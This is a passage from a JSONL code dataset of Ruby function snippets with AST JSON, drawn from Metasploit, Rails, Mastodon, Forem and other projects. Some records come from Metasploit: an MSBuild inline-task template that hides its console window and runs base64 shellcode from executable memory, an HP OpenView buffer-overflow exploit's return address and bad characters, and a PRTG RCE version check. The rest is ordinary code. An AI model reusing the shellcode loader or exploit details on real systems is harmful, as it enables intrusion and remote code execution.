xmlns=\\\"http://schemas.microsoft.com/developer/msbuild/2003\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<Target Name=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" />\\n\"]},{\"type\":\"str\",\"children\":[\"</Target>\\n\"]},{\"type\":\"str\",\"children\":[\"<UsingTask\\n\"]},{\"type\":\"str\",\"children\":[\"TaskName=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"TaskFactory=\\\"CodeTaskFactory\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"AssemblyFile=\\\"C:\\\\Windows\\\\Microsoft.Net\\\\Framework\\\\v4.0.30319\\\\Microsoft.Build.Tasks.v4.0.dll\\\" >\\n\"]},{\"type\":\"str\",\"children\":[\"<Task>\\n\"]},{\"type\":\"str\",\"children\":[\"<Code Type=\\\"Class\\\" Language=\\\"cs\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<![CDATA[\\n\"]},{\"type\":\"str\",\"children\":[\"using System;\\n\"]},{\"type\":\"str\",\"children\":[\"using System.Runtime.InteropServices;\\n\"]},{\"type\":\"str\",\"children\":[\"using Microsoft.Build.Framework;\\n\"]},{\"type\":\"str\",\"children\":[\"using Microsoft.Build.Utilities;\\n\"]},{\"type\":\"str\",\"children\":[\"public class \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\" :  Task, ITask\\n\"]},{\"type\":\"str\",\"children\":[\"{\\n\"]},{\"type\":\"str\",\"children\":[\"private static Int32 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",\"children\":[\"=0x1000;\\n\"]},{\"type\":\"str\",\"children\":[\"private static IntPtr \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"str\",\"children\":[\"=(IntPtr)0x40;\\n\"]},{\"type\":\"str\",\"children\":[\"private static UInt32 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\" = 0xFFFFFFFF;\\n\"]},{\"type\":\"str\",\"children\":[\"[System.Runtime.InteropServices.DllImport(\\\"kernel32\\\")]\\n\"]},{\"type\":\"str\",\"children\":[\"private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);\\n\"]},{\"type\":\"str\",\"children\":[\"[System.Runtime.InteropServices.DllImport(\\\"kernel32\\\")]\\n\"]},{\"type\":\"str\",\"children\":[\"private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);\\n\"]},{\"type\":\"str\",\"children\":[\"[System.Runtime.InteropServices.DllImport(\\\"kernel32\\\")]\\n\"]},{\"type\":\"str\",\"children\":[\"private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);\\n\"]},{\"type\":\"str\",\"children\":[\"[System.Runtime.InteropServices.DllImport(\\\"user32.dll\\\")]\\n\"]},{\"type\":\"str\",\"children\":[\"static extern bool ShowWindow(IntPtr \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\", int nCmdShow);\\n\"]},{\"type\":\"str\",\"children\":[\"[System.Runtime.InteropServices.DllImport(\\\"Kernel32\\\")]\\n\"]},{\"type\":\"str\",\"children\":[\"private static extern IntPtr GetConsoleWindow();\\n\"]},{\"type\":\"str\",\"children\":[\"const int \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"str\",\"children\":[\" = 0;\\n\"]},{\"type\":\"str\",\"children\":[\"public override bool Execute()\\n\"]},{\"type\":\"str\",\"children\":[\"{\\n\"]},{\"type\":\"str\",\"children\":[\"IntPtr \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\" = GetConsoleWindow();\\n\"]},{\"type\":\"str\",\"children\":[\"ShowWindow(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"string \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[7]}]}]},{\"type\":\"str\",\"children\":[\" = \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"esc\"]}]},{\"type\":\"str\",\"children\":[\"\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"byte[] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\" = Convert.FromBase64String(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[7]}]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"byte[] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"IntPtr \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\" = VirtualAlloc(IntPtr.Zero, (UIntPtr)\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"str\",\"children\":[\".Length, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"System.Runtime.InteropServices.Marshal.Copy(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"str\",\"children\":[\", 0, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"str\",\"children\":[\".Length);\\n\"]},{\"type\":\"str\",\"children\":[\"IntPtr \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"str\",\"children\":[\" = IntPtr.Zero;\\n\"]},{\"type\":\"str\",\"children\":[\"WaitForSingleObject(CreateThread(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"str\",\"children\":[\", UIntPtr.Zero, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"str\",\"children\":[\", 0, ref \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"str\",\"children\":[\"), \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"return true;\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"]]>\\n\"]},{\"type\":\"str\",\"children\":[\"</Code>\\n\"]},{\"type\":\"str\",\"children\":[\"</Task>\\n\"]},{\"type\":\"str\",\"children\":[\"</UsingTask>\\n\"]},{\"type\":\"str\",\"children\":[\"</Project>\\n\"]}]}]}]}","id":"09e326bf-7ca0-4be7-9a09-fad7dc752de1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/hp_nnm_snmp.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'HP OpenView Network Node Manager Snmp.exe CGI Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.\n          By sending a specially crafted CGI request to Snmp.exe, an attacker may be able to execute\n          arbitrary code.\n        },\n        'Author' => [ 'MC' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2009-3849' ],\n          [ 'OSVDB', '60933' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Privileged' => false,\n        'Payload' => {\n          'Space' => 650,\n          'BadChars' => \"\\x00\\x3a\\x26\\x3f\\x25\\x23\\x20\\x0a\\x0d\\x2f\\x2b\\x0b\\x5c\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'HP OpenView Network Node Manager 7.50 / Windows 2000 All', { 'Ret' => 0x5a01d78d } ], # ov.dll\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2009-12-09',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HP OpenView Network Node Manager Snmp.exe CGI Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.\\n\"]},{\"type\":\"str\",\"children\":[\"          By sending a specially crafted CGI request to Snmp.exe, an attacker may be able to execute\\n\"]},{\"type\":\"str\",\"children\":[\"          arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-3849\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"60933\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[650]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000:&?%# \\n\\r/+\\u000b\\\\\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HP OpenView Network Node Manager 7.50 / Windows 2000 All\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1510070157]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-12-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"721949b0-fd29-41fd-8b71-99519de7d085"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/string_literals_in_interpolation.rb","start_line":66,"raw_source":"def offense?(node)\n          # If it's not a string within an interpolation, then it's not an\n          # offense for this cop.\n          return false unless inside_interpolation?(node)\n\n          wrong_quotes?(node)\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"offense?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inside_interpolation?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"wrong_quotes?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"9bfc71b9-52e6-457d-8392-11ae08db70be"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/segmented_users/bulk_upsert.rb","start_line":53,"raw_source":"def perform_upsert(user_ids_batch)\n      segmented_users = build_records(user_ids_batch)\n\n      # We only want to touch the `updated_at` column of records that already exist,\n      # but specifying that causes ActiveRecord to emit malformed SQL (multiple assignments to the same column).\n      # Turning off Rails' automatic timestamp management via `record_timestamps`\n      # and managing timestamps ourselves yields the correct query.\n      SegmentedUser.upsert_all(\n        segmented_users,\n        unique_by: :index_segmented_users_on_audience_segment_and_user,\n        update_only: [:updated_at],\n        returning: [\"user_id\"],\n        record_timestamps: false,\n      )\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_upsert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_ids_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"segmented_users\",{\"type\":\"send\",\"children\":[null,\"build_records\",{\"type\":\"lvar\",\"children\":[\"user_ids_batch\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SegmentedUser\"]},\"upsert_all\",{\"type\":\"lvar\",\"children\":[\"segmented_users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"sym\",\"children\":[\"index_segmented_users_on_audience_segment_and_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update_only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returning\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record_timestamps\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"eb1830e2-2e83-4658-a166-1150141fa913"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/oid/interval.rb","start_line":29,"raw_source":"def serialize(value)\n            case value\n            when ::ActiveSupport::Duration\n              value.iso8601(precision: self.precision)\n            when ::Numeric\n              # Sometimes operations on Times returns just float number of seconds so we need to handle that.\n              # Example: Time.current - (Time.current + 1.hour) # => -3600.000001776 (Float)\n              ActiveSupport::Duration.build(value).iso8601(precision: self.precision)\n            else\n              super\n            end\n          end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ActiveSupport\"]},\"Duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"iso8601\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"precision\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Numeric\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Duration\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"iso8601\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"precision\"]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"92adddd8-0304-4c88-b3ad-2179ac5d2604"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/users/setting.rb","start_line":45,"raw_source":"def refresh_auto_audience_segments\n      user.refresh_auto_audience_segments\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_auto_audience_segments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"refresh_auto_audience_segments\"]}]}","id":"4354ac43-35ef-484a-b8d2-ac9dd645e86d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/scheduler/auto_close_registrations_scheduler.rb","start_line":22,"raw_source":"def active_moderators?\n    User.those_who_can(:manage_reports).exists?(current_sign_in_at: OPEN_REGISTRATIONS_MODERATOR_THRESHOLD.ago...)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"active_moderators?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"those_who_can\",{\"type\":\"sym\",\"children\":[\"manage_reports\"]}]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_sign_in_at\"]},{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OPEN_REGISTRATIONS_MODERATOR_THRESHOLD\"]},\"ago\"]},null]}]}]}]}]}","id":"04796ae6-0451-4312-b79f-962dc444095b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/docker_run/base.rb","start_line":55,"raw_source":"def network_exists?(name)\n          _, status = inspect_network(name)\n          status == 0\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"network_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"inspect_network\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"dc3808eb-003f-4bce-995a-1137b104290e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/prtg_authenticated_rce.rb","start_line":229,"raw_source":"def check\n    begin\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(datastore['URI'], '/index.htm')\n      })\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError\n      return CheckCode::Unknown\n    ensure\n      disconnect\n    end\n\n    if res && res.code == 200\n      # checks for PRTG version in http headers first, if not found looks for it in html\n      version_match = /\\d{1,2}\\.\\d{1}\\.\\d{1,2}\\.\\d*/\n      prtg_server_header = res.headers['Server']\n      if prtg_server_header && prtg_server_header =~ version_match\n        prtg_version = prtg_server_header[version_match]\n      else\n        html = res.get_html_document\n        prtg_version_html = html.at('span[@class=\"prtgversion\"]')\n        if prtg_version_html && prtg_version_html.text =~ version_match\n          prtg_version = prtg_version_html.text[version_match]\n        end\n      end\n\n      if prtg_version\n        vprint_status(\"Identified PRTG Network Monitor Version #{prtg_version}\")\n        if Rex::Version.new(prtg_version) < Rex::Version.new('18.2.39')\n          return CheckCode::Appears\n        else\n          return CheckCode::Safe\n        end\n      elsif (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')\n        return CheckCode::Detected\n      end\n    end\n\n    return CheckCode::Unknown\n  end","complexity_score":56.63,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]},{\"type\":\"str\",\"children\":[\"/index.htm\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\d{1,2}\\\\.\\\\d{1}\\\\.\\\\d{1,2}\\\\.\\\\d*\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prtg_server_header\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prtg_server_header\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prtg_server_header\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"version_match\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prtg_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prtg_server_header\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"version_match\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"prtg_version_html\",{\"type\":\"sen